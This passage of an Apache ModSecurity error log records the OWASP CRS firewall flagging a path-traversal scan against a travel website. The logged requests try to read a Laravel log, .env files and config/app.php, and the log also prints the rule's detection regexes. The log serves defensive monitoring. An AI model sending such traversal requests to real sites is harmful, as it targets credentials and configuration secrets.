"OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkOYpb_TFRze2EO3zPwAAAAE"]
[Fri Jul 17 08:55:04.302585 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:page: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkOYpb_TFRze2EO3zPwAAAAE"]
[Fri Jul 17 08:55:04.302646 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?page=../../storage/logs/laravel.log&ts=jpaEv8LdFtM9DfcTzKuCG7dFfuz-PPijb8UQD0hDwCJtKcEjhAANPh4_VwF8Wj4ZNKVLYK9Srhw1fKWDCekt9WaLW3z8_aTZLh7cdZAYwMo4FJvm_cPwPjJuA7GYEyiMxliD0rj5fWKxkVFdRvVuVwrZCu6IQkAqHitdnFoouykd_zQYdtRld3NyK2vWy4S4Gr_m66-S3m2HqR5DsI3KH89cpZgZHyYIdljgB7cuuUe1w4-6f4rXzUGlmcsHtlVaolKqQJL__sdBRwpbR0Gmg8b_&anything=Z7ESCDGM44ZP4VR3NXPGSPAAZ7NC4C2GS7V3HHTX7G3JELN777M26GVS2AS2PL6TL42VJVTJ4GDDHQ4W2DYMNPQ5FDMT5T3WZNZCEARUDGIXP7JYAECJPLPKZEMJUQ4DZAXQA..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkOYpb_TFRze2EO3zPwAAAAE"]
[Fri Jul 17 08:55:04.302685 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?page=../../storage/logs/laravel.log&ts=jpaev8ldftm9dfctzkucg7dffuz-ppijb8uqd0hdwcjtkcejhaanph4_vwf8wj4znkvlyk9srhw1fkwdcekt9walw3z8_atzlh7cdzaywmo4fjvm_cpwpjjua7gyeyimxlid0rj5fwkxkvfdrvvuvwrzcu6iqkaqhitdnfoouykd_zqydtrld3nyk2vwy4s4gr_m66-s3m2hqr5dsi3kh89cpzgzhyyidljgb7cuuue1w4-6f4rxzuglmcshtlvaolkqqjl__sdbrwpbr0gmg8b_&anything=z7escdgm44zp4vr3nxpgspaaz7nc4c2gs7v3hhtx7g3jeln777m26gvs2as2pl6tl42vjvtj4gddhq4w2dymnpq5fdmt5t3wznzcearudgixp7jyaecjplpkzemjuq4dzaxqa..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkOYpb_TFRze2EO3zPwAAAAE"]
[Fri Jul 17 08:55:04.302708 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:page: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkOYpb_TFRze2EO3zPwAAAAE"]
[Fri Jul 17 08:55:04.302715 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkLoj0IkvhSCYadmBggAAAAQ"]
[Fri Jul 17 08:55:04.302749 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:page: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkOYpb_TFRze2EO3zPwAAAAE"]
[Fri Jul 17 08:55:04.302946 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?page=..%2F..%2F..%2Fstorage%2Flogs%2Flaravel.log&debug=7TLPROBWNPqQT6baWZLjYgPFtSdkwdF1-0x83Eg2td1TnPIYmEqkVav8kGb3atx-Y3yk8_pqoofWH00dJIrPEjaXUrekbIekkHZnzO02fLoYuWFXeHyfIWDk4OOl4CDCLi_7eS61HXqa4Er24cXkz1XdTnMJANhFXtfWJ6eqCCGnfbOXOzW4ruyoOE1zozfCY2Y9JHgT4uXkzkSXdqch0qiKpie0Pgn5w3UDl8k0FKBWWpK9YubL5W6V0P3CPNfoF_DLRu95E9f7gv1JgjlxOPaH&junk=65LFNGUMVC2C3KVA5MD5LCC7QIKEF3K7VU6XUDXIGLQWLCR2USK2DZJ6F22EVI6SBVE56WOKY4AVCUZ6QB5LFRMTRIWWBTNRW3IX7Y2JTQLO6FN25..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBKAAAABs"]
[Fri Jul 17 08:55:04.302990 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:page: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBKAAAABs"]
[Fri Jul 17 08:55:04.303053 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?page=../../../storage/logs/laravel.log&debug=7TLPROBWNPqQT6baWZLjYgPFtSdkwdF1-0x83Eg2td1TnPIYmEqkVav8kGb3atx-Y3yk8_pqoofWH00dJIrPEjaXUrekbIekkHZnzO02fLoYuWFXeHyfIWDk4OOl4CDCLi_7eS61HXqa4Er24cXkz1XdTnMJANhFXtfWJ6eqCCGnfbOXOzW4ruyoOE1zozfCY2Y9JHgT4uXkzkSXdqch0qiKpie0Pgn5w3UDl8k0FKBWWpK9YubL5W6V0P3CPNfoF_DLRu95E9f7gv1JgjlxOPaH&junk=65LFNGUMVC2C3KVA5MD5LCC7QIKEF3K7VU6XUDXIGLQWLCR2USK2DZJ6F22EVI6SBVE56WOKY4AVCUZ6QB5LFRMTRIWWBTNRW3IX7Y2JTQLO6FN25FKTA4IER63QYYKJKPT..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBKAAAABs"]
[Fri Jul 17 08:55:04.303115 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?page=../../../storage/logs/laravel.log&debug=7tlprobwnpqqt6bawzljygpftsdkwdf1-0x83eg2td1tnpiymeqkvav8kgb3atx-y3yk8_pqoofwh00djirpejaxurekbiekkhznzo02floyuwfxehyfiwdk4ool4cdcli_7es61hxqa4er24cxkz1xdtnmjanhfxtfwj6eqccgnfboxozw4ruyooe1zozfcy2y9jhgt4uxkzksxdqch0qikpie0pgn5w3udl8k0fkbwwpk9yubl5w6v0p3cpnfof_dlru95e9f7gv1jgjlxopah&junk=65lfngumvc2c3kva5md5lcc7qikef3k7vu6xudxiglqwlcr2usk2dzj6f22evi6sbve56woky4avcuz6qb5lfrmtriwwbtnrw3ix7y2jtqlo6fn25fkta4ier63qyykjkpt..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBKAAAABs"]
[Fri Jul 17 08:55:04.303151 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:page: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBKAAAABs"]
[Fri Jul 17 08:55:04.303181 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:page: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBKAAAABs"]
[Fri Jul 17 08:55:04.303911 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkOYpb_TFRze2EO3zPwAAAAE"]
[Fri Jul 17 08:55:04.304019 2026] [hostinglimits:warn] [pid 2023579:tid 2023579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2023579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.304293 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkOYpb_TFRze2EO3zPwAAAAE"]
[Fri Jul 17 08:55:04.304305 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBKAAAABs"]
[Fri Jul 17 08:55:04.304396 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.304673 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkKquHSHoCJK_V0SBKAAAABs"]
[Fri Jul 17 08:55:04.311592 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:page: ../.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBKQAAABs"]
[Fri Jul 17 08:55:04.311644 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:page: ../.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBKQAAABs"]
[Fri Jul 17 08:55:04.312756 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBKQAAABs"]
[Fri Jul 17 08:55:04.312873 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.313174 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkKquHSHoCJK_V0SBKQAAABs"]
[Fri Jul 17 08:55:04.317308 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:page: ../.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBJwAAAAY"]
[Fri Jul 17 08:55:04.317357 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:page: ../.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBJwAAAAY"]
[Fri Jul 17 08:55:04.318217 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?page=..%2F..%2Fconfig%2Fapp.php&token=OANBzvfDTtuMWIqaAZM5ok2QgQJWCCjV_zVewyg4jBVoGyykHDn7JPbJf5azv61hzYr-in-KegSeZL8wZTY63JzbqgoQWnxVKhpdoEsw-m1WRFRix5tUtUt6Vxyow4yS2XVlPB06AvKu5-FVgAobgG4XXz3guyHCDin0DUkqHET54R1slFIgMlDaiiIDtKH7JDIZR8wUZJvfchACmu0MNRDjSB0rhZZEW7iJrMF8MdpFMdJUSh__1-xxkvwmyBNxbFL5pHOI4DhxVni7i-51Fn8R&ref=FFGJWNNMZ447ASKI4DQ566MKMU5OY3FV34MNR44IAVRH2UYIDNAC43HYPUGAGSOEUPEYLIV7P3UNZOVH43V6G7HBNZSGMDDAWQKTF44TOCKA46GK5IAF4WHXEGP6DK7QUJP..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBKgAAABs"]
[Fri Jul 17 08:55:04.318255 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:page: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBKgAAABs"]
[Fri Jul 17 08:55:04.318299 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?page=../../config/app.php&token=OANBzvfDTtuMWIqaAZM5ok2QgQJWCCjV_zVewyg4jBVoGyykHDn7JPbJf5azv61hzYr-in-KegSeZL8wZTY63JzbqgoQWnxVKhpdoEsw-m1WRFRix5tUtUt6Vxyow4yS2XVlPB06AvKu5-FVgAobgG4XXz3guyHCDin0DUkqHET54R1slFIgMlDaiiIDtKH7JDIZR8wUZJvfchACmu0MNRDjSB0rhZZEW7iJrMF8MdpFMdJUSh__1-xxkvwmyBNxbFL5pHOI4DhxVni7i-51Fn8R&ref=FFGJWNNMZ447ASKI4DQ566MKMU5OY3FV34MNR44IAVRH2UYIDNAC43HYPUGAGSOEUPEYLIV7P3UNZOVH43V6G7HBNZSGMDDAWQKTF44TOCKA46GK5IAF4WHXEGP6DK7QUJPK6WH4AP5C6MW3S..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBKgAAABs"]
[Fri Jul 17 08:55:04.318353 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: 